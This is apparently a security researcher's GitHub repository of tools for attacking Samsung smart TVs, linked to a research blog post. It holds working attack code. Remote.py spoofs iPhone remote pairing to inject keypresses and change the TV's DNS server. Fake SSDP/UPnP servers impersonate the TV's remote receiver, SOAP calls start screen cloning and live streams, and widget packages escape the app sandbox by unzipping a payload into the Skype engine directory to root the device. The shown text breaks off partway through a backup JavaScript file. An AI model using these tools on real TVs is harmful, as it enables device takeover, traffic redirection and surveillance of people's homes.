├── Servers ├── relay555000.sh ├── run.sh ├── test.py ├── web.py ├── ssdp.py └── smp4.py ├── Sandbox Escape ├── Dropper │ ├── widget.info │ ├── data │ │ └── patch │ ├── icon │ │ ├── awesome.jpg │ │ ├── awesome_85.jpg │ │ ├── awesome_95.jpg │ │ ├── awesome_106.jpg │ │ └── awesome_115.jpg │ ├── index.html │ ├── CSS │ │ └── Main.css │ └── config.xml ├── RemoteRooting │ ├── widget.info │ ├── icon │ │ ├── awesome.jpg │ │ ├── awesome_106.jpg │ │ ├── awesome_115.jpg │ │ ├── awesome_85.jpg │ │ └── awesome_95.jpg │ ├── CSS │ │ └── Main.css │ ├── config.xml │ ├── index.html │ └── JavaScript │ │ ├── Main.js │ │ └── Main.js~ ├── Dropper.WidgetList │ └── widgetlist.xml └── RemoteRooting.WidgetList │ └── widgetlist.xml ├── Remote Hijack ├── enter_by_iphone_session.cmd ├── change_dns_by_iphone_session.cmd ├── enter_by_ip_hostname_mac_match.cmd └── Remote.py └── README.md /Servers/relay555000.sh: -------------------------------------------------------------------------------- 1 | socat TCP-LISTEN:55000,fork TCP:172.16.0.12:55000 2 | -------------------------------------------------------------------------------- /Servers/run.sh: -------------------------------------------------------------------------------- 1 | python ssdp.py & 2 | python web.py & 3 | sh relay555000.sh & 4 | -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/widget.info: -------------------------------------------------------------------------------- 1 | Use Alpha Blending? = Yes 2 | Screen Resolution = 720x720 -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/widget.info: -------------------------------------------------------------------------------- 1 | Use Alpha Blending? = Yes 2 | Screen Resolution = 1024x768 -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/data/patch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/Dropper/data/patch -------------------------------------------------------------------------------- /Remote Hijack/enter_by_iphone_session.cmd: -------------------------------------------------------------------------------- 1 | c:\python27\python Remote.py enter 192.168.1.200 192.168.1.8 Hello 02-00-00-00-00-00 2 | pause -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/icon/awesome.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/Dropper/icon/awesome.jpg -------------------------------------------------------------------------------- /Remote Hijack/change_dns_by_iphone_session.cmd: -------------------------------------------------------------------------------- 1 | c:\python27\python Remote.py change_dns 192.168.1.200 192.168.1.8 Hello 02-00-00-00-00-00 2 | pause -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/icon/awesome_85.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/Dropper/icon/awesome_85.jpg -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/icon/awesome_95.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/Dropper/icon/awesome_95.jpg -------------------------------------------------------------------------------- /Remote Hijack/enter_by_ip_hostname_mac_match.cmd: -------------------------------------------------------------------------------- 1 | c:\python27\python Remote.py enter 192.168.1.200 192.168.1.201 LivingRoom 00-0C-29-B9-D8-46 2 | pause -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/icon/awesome_106.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/Dropper/icon/awesome_106.jpg -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/icon/awesome_115.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/Dropper/icon/awesome_115.jpg -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/icon/awesome.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/RemoteRooting/icon/awesome.jpg -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/icon/awesome_106.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/RemoteRooting/icon/awesome_106.jpg -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/icon/awesome_115.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/RemoteRooting/icon/awesome_115.jpg -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/icon/awesome_85.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/RemoteRooting/icon/awesome_85.jpg -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/icon/awesome_95.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ohjeongwook/Samsung-TV-Hacks/HEAD/Sandbox Escape/RemoteRooting/icon/awesome_95.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Samsung-TV-Hacks 2 | These are files used to hack my Samsung TV. 3 | 4 | The related blog post here: 5 | 6 | http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Hacking-my-smart-TV-an-old-new-thing/ba-p/6645844 7 | 8 | Remote hijack in action: 9 | 10 | https://www.youtube.com/watch?v=nhnTQEzbNL4 11 | -------------------------------------------------------------------------------- /Sandbox Escape/Dropper.WidgetList/widgetlist.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Dropper 6 | user 7 | 8 | 9 | http://192.168.1.19/Dropper.zip 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting.WidgetList/widgetlist.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | RemoteRooting 7 | user 8 | 9 | 10 | http://192.168.1.19/RemoteRooting.zip 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | SamyGO 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/CSS/Main.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | padding: 0; 4 | background-color: transparent; 5 | } 6 | 7 | #title { 8 | position: absolute; 9 | left: 10px; 10 | top: 10px; 11 | width: 720px; 12 | height: 30px; 13 | z-index : 100; 14 | color: white; 15 | font-size: 26px; 16 | text-align: center; 17 | } 18 | 19 | #log { 20 | position: absolute; 21 | left: 10px; 22 | top: 40px; 23 | width: 720px; 24 | height: 680px; 25 | z-index : 100; 26 | color: white; 27 | font-size: 16px; 28 | font-family: courier, monospace; 29 | text-align: left; 30 | } 31 | 32 | #backgroundLogo { 33 | position: absolute; 34 | top: 0px; 35 | left: 0px; 36 | width: 720px; 37 | height: 720px; 38 | background-image: url("../icon/samygo.jpg"); 39 | z-index : 10; 40 | } 41 | -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/CSS/Main.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | padding: 0; 4 | background-color: transparent; 5 | } 6 | 7 | #title { 8 | position: absolute; 9 | left: 10px; 10 | top: 10px; 11 | width: 720px; 12 | height: 30px; 13 | z-index : 100; 14 | color: white; 15 | font-size: 26px; 16 | text-align: center; 17 | } 18 | 19 | #log { 20 | position: absolute; 21 | left: 10px; 22 | top: 40px; 23 | width: 720px; 24 | height: 680px; 25 | z-index : 100; 26 | color: black; 27 | font-size: 16px; 28 | font-family: courier, monospace; 29 | text-align: left; 30 | } 31 | 32 | #backgroundLogo { 33 | position: absolute; 34 | top: 0px; 35 | left: 0px; 36 | width: 720px; 37 | height: 720px; 38 | background-image: url("../icon/awesome.jpg"); 39 | z-index : 10; 40 | } 41 | -------------------------------------------------------------------------------- /Sandbox Escape/Dropper/config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | icon/awesome_106.jpg 4 | icon/awesome_115.jpg 5 | icon/awesome_85.jpg 6 | icon/awesome_95.jpg 7 | 8 | 1.0 9 | 1.000 10 | n 11 | n 12 | n 13 | n 14 | n 15 | n 16 | y 17 | n 18 | n 19 | Dropper 20 | Dropper 21 | 1 22 | 1 23 | 24 | Matt Oh 25 | oh.jeongwook@gmail.com 26 | darungrim.org 27 | 28 | -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | icon/awesome_106.jpg 4 | icon/awesome_115.jpg 5 | icon/awesome_85.jpg 6 | icon/awesome_95.jpg 7 | 8 | 1.0 9 | 1.000 10 | n 11 | n 12 | n 13 | n 14 | n 15 | n 16 | y 17 | n 18 | n 19 | RemoteRooting 20 | Test application 21 | 1024 22 | 768 23 | 24 | Matt Oh 25 | oh.jeongwook@gmail.com 26 | darungrim.org 27 | 28 | 29 | -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Run Test 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 |
18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Servers/test.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | request = "M-SEARCH * HTTP/1.1\r\n" + \ 4 | "HOST: 239.255.255.250:1900\r\n"+ \ 5 | "MAN: \"ssdp:discover\"\r\n"+ \ 6 | "MX: 1\r\n"+ \ 7 | "ST: urn:samsung.com:device:RemoteControlReceiver:1\r\n"+ \ 8 | "CONTENT-LENGTH: 0\r\n\r\n" 9 | 10 | class SSDP: 11 | def interface_addresses(self,family=socket.AF_INET): 12 | for fam, _, _, _, sockaddr in socket.getaddrinfo('', None): 13 | if family == fam: 14 | yield sockaddr[0] 15 | 16 | 17 | def client(self,timeout=5, retries=5): 18 | socket.setdefaulttimeout(timeout) 19 | for addr in self.interface_addresses(): 20 | print addr 21 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 22 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 23 | s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 3) 24 | s.bind((addr, 1025)) 25 | 26 | for _ in xrange(5): 27 | s.sendto(request, ("239.255.255.250", 1900)) 28 | 29 | try: 30 | data, addr = s.recvfrom(100) 31 | print 'got',data 32 | except socket.timeout: 33 | print 'timeout' 34 | else: 35 | print 'else',data 36 | 37 | ssdp=SSDP() 38 | ssdp.client() 39 | -------------------------------------------------------------------------------- /Servers/web.py: -------------------------------------------------------------------------------- 1 | import SocketServer 2 | 3 | resp01="""HTTP/1.1 200 OK\r\n\ 4 | CONTENT-LANGUAGE: UTF-8\r\n\ 5 | CONTENT-TYPE: text/xml; charset="utf-8"\r\n\ 6 | CONTENT-LENGTH: %d\r\n\ 7 | Date: Thu, 01 Jan 1970 00:01:13 GMT\r\n\ 8 | connection: close\r\n\ 9 | Application-URL: http://172.16.0.1:80/ws/app/\r\n\ 10 | SERVER: SHP, UPnP/1.0, Samsung UPnP SDK/1.0\r\n\ 11 | \r\n""" 12 | 13 | resp01_body="""\r\n\ 14 | \r\n\ 15 | \r\n\ 16 | 1\r\n\ 17 | 0\r\n\ 18 | \r\n\ 19 | \r\n\ 20 | urn:samsung.com:device:RemoteControlReceiver:1\r\n\ 21 | [TV]Samsung LED56\r\n\ 22 | Samsung Electronics\r\n\ 23 | http://www.samsung.com/sec\r\n\ 24 | Samsung TV RCR\r\n\ 25 | UN55F6300\r\n\ 26 | 1.0\r\n\ 27 | http://www.samsung.com/sec\r\n\ 28 | 20090804RCS\r\n\ 29 | uuid:0a21fe81-00aa-1000-8787-f47b5e7620f1\r\n\ 30 | BDCHCBZODCVXU\r\n\ 31 | Resolution:1920X1080,ImageZoom,ImageRotate,Y2013\r\n\ 32 | \r\n\ 33 | \r\n\ 34 | urn:samsung.com:service:MultiScreenService:1\r\n\ 35 | urn:samsung.com:serviceId:MultiScreenService\r\n\ 36 | /smp_8_\r\n\ 37 | /smp_9_\r\n\ 38 | /smp_7_\r\n\ 39 | \r\n\ 40 | \r\n\ 41 | \r\n\ 42 | """ 43 | 44 | class MyTCPHandler(SocketServer.BaseRequestHandler): 45 | def handle(self): 46 | self.data = self.request.recv(1024) 47 | print self.data 48 | self.request.sendall(resp01 % len(resp01_body) + resp01_body) 49 | 50 | if __name__ == "__main__": 51 | HOST, PORT = "", 7676 52 | 53 | server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler) 54 | server.serve_forever() 55 | -------------------------------------------------------------------------------- /Servers/ssdp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | 4 | MCAST_GRP="239.255.255.250" 5 | 6 | request = "M-SEARCH * HTTP/1.1\r\n" + \ 7 | "HOST: 239.255.255.250:1900\r\n"+ \ 8 | "MAN: \"ssdp:discover\"\r\n"+ \ 9 | "MX: 1\r\n"+ \ 10 | "ST: urn:samsung.com:device:RemoteControlReceiver:1\r\n"+ \ 11 | "CONTENT-LENGTH: 0\r\n\r\n" 12 | 13 | location = "HTTP/1.1 200 OK\r\n" + \ 14 | "CACHE-CONTROL: max-age=1800\r\n" + \ 15 | "Date: Thu, 01 Jan 1970 00:24:51 GMT\r\n" + \ 16 | "EXT:\r\n" + \ 17 | "LOCATION: http://192.168.1.17:7676/smp_6_\r\n" + \ 18 | "SERVER: SHP, UPnP/1.0, Samsung UPnP SDK/1.0\r\n" + \ 19 | "ST: urn:samsung.com:device:RemoteControlReceiver:1\r\n" + \ 20 | "USN: uuid:0a21fe81-00aa-1000-8787-f47b5e7620f1::urn:samsung.com:device:RemoteControlReceiver:1\r\n" + \ 21 | "Content-Length: 0\r\n" 22 | 23 | class SSDP: 24 | def interface_addresses(self,family=socket.AF_INET): 25 | print socket.getaddrinfo('', None) 26 | for fam, a, b, c, sockaddr in socket.getaddrinfo('', None): 27 | if family == fam: 28 | yield sockaddr[0] 29 | 30 | 31 | def client(self,timeout=5, retries=5): 32 | socket.setdefaulttimeout(timeout) 33 | #for addr in self.interface_addresses(): 34 | addr="172.16.0.1" 35 | if 1==1: 36 | print addr 37 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 38 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 39 | s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 3) 40 | s.bind((addr, 1025)) 41 | 42 | for _ in xrange(5): 43 | s.sendto(request, ("239.255.255.250", 1900)) 44 | 45 | try: 46 | data, addr = s.recvfrom(1024) 47 | print addr 48 | print data 49 | except socket.timeout: 50 | print 'timeout' 51 | 52 | def server(self, timeout=5): 53 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 54 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 55 | s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) 56 | s.bind(('', 1900)) 57 | 58 | mreq = struct.pack('4sl', socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) 59 | s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 60 | 61 | while 1: 62 | data, addr = s.recvfrom(1024) 63 | print 'Packet from : ',addr 64 | print data 65 | s.sendto(location,addr) 66 | 67 | def dummy_server(self, addr, timeout=5): 68 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 69 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 70 | s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) 71 | s.bind(('', 1900)) 72 | 73 | mreq = struct.pack('4sl', socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) 74 | s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 75 | 76 | while 1: 77 | s.sendto(location,addr) 78 | 79 | ssdp=SSDP() 80 | #ssdp.client() 81 | ssdp.server() 82 | 83 | -------------------------------------------------------------------------------- /Remote Hijack/Remote.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import base64 3 | import struct 4 | import pprint 5 | import time 6 | 7 | class Remote: 8 | def __init__(self,host,port): 9 | print 'Initializing Connection...' 10 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | self.sock.connect((host, port)) 12 | 13 | def hello(self): 14 | self.sock.send('\x01\x14\x00' + 'iphone..iapp.samsung' + '\x02\x00\x78\x00') 15 | data = self.sock.recv(1024) 16 | print data 17 | 18 | def auth(self,ip='',hostname='',mac=''): 19 | print 'Auth...' 20 | encoded_ip=base64.b64encode(ip) 21 | encoded_mac=base64.b64encode(mac) 22 | encoded_hostname=base64.b64encode(hostname) 23 | 24 | auth_body= '\x64\x00' + \ 25 | struct.pack('H',len(encoded_ip)) + \ 26 | encoded_ip + \ 27 | struct.pack('H',len(encoded_mac)) + \ 28 | encoded_mac + \ 29 | struct.pack('H',len(encoded_hostname)) + \ 30 | encoded_hostname 31 | 32 | auth_head='\x01\x14\x00' + 'iphone..iapp.samsung' + \ 33 | struct.pack('H',len(auth_body)) 34 | auth_str = auth_head + auth_body 35 | 36 | self.sock.send(auth_str) 37 | 38 | data = self.sock.recv(1024) 39 | pprint.pprint(data) 40 | 41 | def key(self,str): 42 | encoded_str=base64.b64encode(str) 43 | key_body= '\x00\x00\x00' + struct.pack('H',len(encoded_str)) + encoded_str 44 | key_head='\x01\x1d\x00' + 'iphone.UN55F6300.iapp.samsung' + \ 45 | struct.pack('H',len(key_body)) 46 | key_str = key_head + key_body 47 | 48 | print 'Sending key', str 49 | print '\t', pprint.pformat(key_str) 50 | self.sock.send(key_str) 51 | data,addr = self.sock.recvfrom(1024) 52 | time.sleep(0.5) 53 | 54 | def __fini__(self): 55 | self.sock.close() 56 | 57 | if __name__=='__main__': 58 | import sys 59 | 60 | operation=sys.argv[1] 61 | HOST = sys.argv[2] 62 | PORT = 55000 63 | ip=sys.argv[3] 64 | hostname=sys.argv[4] 65 | mac=sys.argv[5] 66 | 67 | remote = Remote(HOST,PORT) 68 | remote.hello() 69 | remote.auth(ip,hostname,mac) 70 | 71 | if operation=='enter': 72 | remote.key('KEY_ENTER') 73 | if operation=='right': 74 | remote.key('KEY_RIGHT') 75 | elif operation=='exit': 76 | remote.key('KEY_EXIT') 77 | remote.key('KEY_EXIT') 78 | remote.key('KEY_EXIT') 79 | 80 | elif operation=='smart_hub': 81 | remote.key('KEY_MUTE') 82 | 83 | elif operation=='enter_sync_ip': 84 | remote.key('KEY_DOWN') 85 | remote.key('KEY_DOWN') 86 | remote.key('KEY_DOWN') 87 | remote.key('KEY_DOWN') 88 | remote.key('KEY_ENTER') 89 | 90 | time.sleep(4) 91 | remote.key('KEY_UP') 92 | remote.key('KEY_RIGHT') 93 | remote.key('KEY_RIGHT') 94 | remote.key('KEY_RIGHT') 95 | remote.key('KEY_ENTER') 96 | 97 | remote.key('KEY_DOWN') 98 | remote.key('KEY_DOWN') 99 | remote.key('KEY_DOWN') 100 | remote.key('KEY_DOWN') 101 | remote.key('KEY_DOWN') 102 | remote.key('KEY_ENTER') 103 | 104 | remote.key('KEY_1') 105 | remote.key('KEY_9') 106 | remote.key('KEY_2') 107 | remote.key('KEY_RIGHT') 108 | remote.key('KEY_1') 109 | remote.key('KEY_6') 110 | remote.key('KEY_8') 111 | remote.key('KEY_RIGHT') 112 | remote.key('KEY_1') 113 | remote.key('KEY_RIGHT') 114 | remote.key('KEY_2') 115 | remote.key('KEY_0') 116 | remote.key('KEY_2') 117 | remote.key('KEY_ENTER') 118 | 119 | elif operation=='start_sync': 120 | remote.key('KEY_UP') 121 | remote.key('KEY_ENTER') 122 | 123 | elif operation=='change_dns': 124 | #Menu 125 | remote.key('KEY_MENU') 126 | 127 | #Go to Network Status menu item 128 | remote.key('KEY_DOWN') 129 | remote.key('KEY_DOWN') 130 | remote.key('KEY_DOWN') 131 | 132 | #Select to Network Status panel 133 | remote.key('KEY_ENTER') 134 | remote.key('KEY_ENTER') 135 | remote.key('KEY_LEFT') 136 | remote.key('KEY_LEFT') 137 | 138 | #Push button for IP Settings 139 | remote.key('KEY_ENTER') 140 | 141 | #IP Setting -> DNS 142 | remote.key('KEY_DOWN') 143 | remote.key('KEY_DOWN') 144 | remote.key('KEY_DOWN') 145 | remote.key('KEY_DOWN') 146 | 147 | #Chose DNS Server 148 | remote.key('KEY_ENTER') 149 | 150 | remote.key('KEY_1') 151 | remote.key('KEY_RIGHT') 152 | remote.key('KEY_1') 153 | remote.key('KEY_RIGHT') 154 | remote.key('KEY_1') 155 | remote.key('KEY_RIGHT') 156 | remote.key('KEY_1') 157 | remote.key('KEY_ENTER') 158 | remote.key('KEY_DOWN') 159 | 160 | 161 | #Close Network Status 162 | remote.key('KEY_ENTER') 163 | remote.key('KEY_EXIT') 164 | remote.key('KEY_EXIT') 165 | remote.key('KEY_EXIT') 166 | 167 | -------------------------------------------------------------------------------- /Servers/smp4.py: -------------------------------------------------------------------------------- 1 | import httplib, urllib2 2 | 3 | 4 | class TVControl: 5 | def __init__(self,hostname): 6 | self.Hostname=hostname 7 | 8 | def SendSOAP(self,method,body): 9 | print '*',method 10 | 11 | headers = { 12 | "Content-type": 'text/xml;charset="utf-8"', 13 | "SOAPACTION": '"urn:samsung.com:service:MainTVAgent2:1#%s"' % method 14 | } 15 | 16 | conn = httplib.HTTPConnection(self.Hostname) 17 | conn.request("POST", "/smp_4_", body, headers) 18 | 19 | response = conn.getresponse() 20 | print(response.status, response.reason) 21 | 22 | data = response.read() 23 | 24 | print data 25 | print '' 26 | 27 | return data 28 | 29 | def GetSourceList(self): 30 | body=''+\ 31 | ''+\ 32 | ''+\ 33 | ''+\ 34 | '' 35 | self.SendSOAP('GetSourceList',body) 36 | 37 | def GetCurrentMainTVChannel(self): 38 | body=''+\ 39 | ''+\ 40 | ''+\ 41 | ''+\ 42 | '' 43 | self.SendSOAP('GetCurrentMainTVChannel',body) 44 | 45 | def GetCurrentExternalSource(self): 46 | body=''+\ 47 | ''+\ 48 | ''+\ 49 | ''+\ 50 | '' 51 | self.SendSOAP('GetCurrentExternalSource',body) 52 | 53 | def SendMBRIRKey(self): 54 | body=''+\ 55 | ''+\ 56 | ''+\ 57 | 'STB'+\ 58 | '0x01'+\ 59 | '0'+\ 60 | ''+\ 61 | ''+\ 62 | '' 63 | self.SendSOAP('SendMBRIRKey',body) 64 | 65 | def StartCloneView(self): 66 | body=''+\ 67 | ''+\ 68 | ''+\ 69 | 'Normal'+\ 70 | 'PrivateTZ'+\ 71 | ''+\ 72 | '' 73 | self.SendSOAP('StartCloneView',body) 74 | 75 | def GetLiveStream(self,url): 76 | req = urllib2.urlopen(url) 77 | 78 | while True: 79 | chunk = req.read(512) 80 | if not chunk: 81 | break 82 | print len(chunk) 83 | 84 | def GetAvailableActions(self): 85 | body=''+\ 86 | ''+\ 87 | ''+\ 88 | ''+\ 89 | '' 90 | self.SendSOAP('GetAvailableActions',body) 91 | 92 | def RunBrowser(self): 93 | body=''+\ 94 | ''+\ 95 | ''+\ 96 | ''+\ 97 | '' 98 | self.SendSOAP('RunBrowser',body) 99 | 100 | def GetCurrentBrowserURL(self): 101 | body=''+\ 102 | ''+\ 103 | ''+\ 104 | ''+\ 105 | '' 106 | self.SendSOAP('GetCurrentBrowserURL',body) 107 | 108 | tvcontrol=TVControl("192.168.1.9:7676") 109 | 110 | tvcontrol.GetAvailableActions() 111 | 112 | tvcontrol.GetSourceList() 113 | tvcontrol.GetCurrentExternalSource() 114 | tvcontrol.SendMBRIRKey() 115 | tvcontrol.StartCloneView() 116 | 117 | tvcontrol.GetLiveStream('http://192.168.1.9:9090/liveStream/1') 118 | -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/JavaScript/Main.js: -------------------------------------------------------------------------------- 1 | var Main = { } 2 | 3 | var widgetAPI = new Common.API.Widget(); 4 | var tvKey = new Common.API.TVKeyValue(); 5 | 6 | var filePlugin; 7 | var currentStep = 0; 8 | var logMessage = ""; 9 | 10 | var packagePath = '/mtd_rwcommon/common/TempDownLoad/Dropper'; 11 | var skypePath = '/mtd_rwcommon/moip/engines/Skype'; 12 | 13 | Main.onLoad = function() { 14 | document.getElementById("anchor").focus(); 15 | filePlugin = document.getElementById("pluginFileSystem"); 16 | showTitle(); 17 | widgetAPI.sendReadyEvent(); 18 | }; 19 | 20 | Main.onUnload = function(){ }; 21 | 22 | Main.keyDown = function() { 23 | var keyCode = event.keyCode; 24 | switch(keyCode) { 25 | case tvKey.KEY_RETURN: 26 | case tvKey.KEY_PANEL_RETURN: 27 | clearLog(); 28 | widgetAPI.sendReturnEvent(); 29 | break; 30 | case tvKey.KEY_UP: 31 | case tvKey.KEY_PANEL_UP: 32 | clearLog(); 33 | break; 34 | case tvKey.KEY_ENTER: 35 | case tvKey.KEY_PANEL_ENTER: 36 | if (currentStep == 0) { 37 | clearLog(); 38 | setupSamyGO(packagePath); 39 | } else if (currentStep == 2) { 40 | rootSamyGO(packagePath); 41 | } else if (currentStep == 7) logPara("SamyGO already activated!"); 42 | else logPara("SamyGO not activated! Check for errors!"); 43 | break; 44 | default: 45 | break; 46 | } 47 | }; 48 | 49 | function showTitle() { 50 | var titleDivElement = document.getElementById("title"); 51 | var title = "Widget " + curWidget.id + " for Samsung SmartTV F-series"; 52 | widgetAPI.putInnerHTML(titleDivElement, title); 53 | if ("SamyGO" == curWidget.id) { 54 | logPara("Press Enter for activation " + curWidget.id + "!"); 55 | } else { 56 | logPara("Current widget name '" + curWidget.id + "' differs from expected 'SamyGO'!"); 57 | } 58 | }; 59 | 60 | function log(message) { 61 | var logDivElement = document.getElementById("log"); 62 | logMessage = logMessage + message + "
"; 63 | widgetAPI.putInnerHTML(logDivElement, logMessage); 64 | }; 65 | 66 | function logPara(message) { 67 | var logDivElement = document.getElementById("log"); 68 | logMessage = logMessage + "

" + message + "

"; 69 | widgetAPI.putInnerHTML(logDivElement, logMessage); 70 | }; 71 | 72 | function clearLog() { 73 | var logDivElement = document.getElementById("log"); 74 | logMessage = ""; 75 | widgetAPI.putInnerHTML(logDivElement, logMessage); 76 | }; 77 | 78 | function setupSamyGO(path) { 79 | logPara("*********************** Setup SamyGO files *************************************"); 80 | 81 | var skypeNotFound = false; 82 | currentStep += exists(skypePath + '/libSkype.so'); 83 | if (currentStep != 1) { 84 | skypeNotFound = true; 85 | }; 86 | exists(skypePath + "/AutoStart"); 87 | exists(skypePath + "/runSamyGO.sh"); 88 | exists(skypePath + "/remoteSamyGO.zip"); 89 | currentStep += exists(packagePath + "/data/patch"); 90 | 91 | if (currentStep == 2) { 92 | logPara("All activation files found on: '"+ packagePath + "'"); 93 | logPara("Press Enter for activation " + curWidget.id + "!"); 94 | } else { 95 | if (skypeNotFound) { 96 | logPara("Skype not found. Read Skype installation procedure."); 97 | } else { 98 | logPara("Some activation files not found on: '" + packagePath + "'"); 99 | } 100 | currentStep = -1; 101 | } 102 | }; 103 | 104 | function rootSamyGO(path) { 105 | logPara("*********************** Root SamyGO files **************************************"); 106 | 107 | currentStep += unzip(packagePath +"/data/patch", skypePath + "/"); 108 | currentStep += exists(skypePath + "/libSkype.so"); 109 | currentStep += exists(skypePath + "/AutoStart"); 110 | currentStep += exists(skypePath + "/runSamyGO.sh"); 111 | currentStep += exists(skypePath + "/remoteSamyGO.zip"); 112 | 113 | if (currentStep == 7) { 114 | logPara("All activation files processed."); 115 | logPara("Now press exit and restart TV then test FTP"); 116 | } else { 117 | logPara("Some activation files not processed."); 118 | logPara("Read the rooting procedure."); 119 | currentStep = -1; 120 | } 121 | log("Free memory: " + Math.round((filePlugin.GetTotalSize() - filePlugin.GetUsedSize())/1048576) + " Mbytes"); 122 | }; 123 | 124 | function status(result) { 125 | var color = (result == 1 ? "green" : "red"); 126 | return "" + (result == 1 ? "[OK]" : "[NO]") + ""; 127 | }; 128 | 129 | function exists(from) { 130 | var command = "filePlugin.IsExistedPath('" + from + "')"; 131 | var result = eval(command); 132 | log("Existing '" + from + "' ? " + status(result)); 133 | return result; 134 | }; 135 | 136 | function unzip(from, to) { 137 | var command = "filePlugin.Unzip('" + from + "', '" + to + "')"; 138 | var result = eval(command); 139 | log("Extracted '" + from + "' to '" + to +"' ? " + status(result)); 140 | return result; 141 | }; 142 | -------------------------------------------------------------------------------- /Sandbox Escape/RemoteRooting/JavaScript/Main.js~: -------------------------------------------------------------------------------- 1 | var Main = { } 2 | 3 | var widgetAPI = new Common.API.Widget(); 4 | var tvKey = new Common.API.TVKeyValue(); 5 | 6 | var filePlugin; 7 | var currentStep = 0; 8 | var logMessage = ""; 9 | 10 | var packagePath = '/mtd_rwcommon/common/TempDownLoad/Dropper'; 11 | var skypePath = '/mtd_rwcommon/moip/engines/Skype'; 12 | 13 | Main.onLoad = function() { 14 | document.getElementById("anchor").focus(); 15 | filePlugin = document.getElementById("pluginFileSystem"); 16 | showTitle(); 17 | widgetAPI.sendReadyEvent(); 18 | }; 19 | 20 | Main.onUnload = function(){ }; 21 | 22 | Main.keyDown = function() { 23 | var keyCode = event.keyCode; 24 | switch(keyCode) { 25 | case tvKey.KEY_RETURN: 26 | case tvKey.KEY_PANEL_RETURN: 27 | clearLog(); 28 | widgetAPI.sendReturnEvent(); 29 | break; 30 | case tvKey.KEY_UP: 31 | case tvKey.KEY_PANEL_UP: 32 | clearLog(); 33 | break; 34 | case tvKey.KEY_ENTER: 35 | 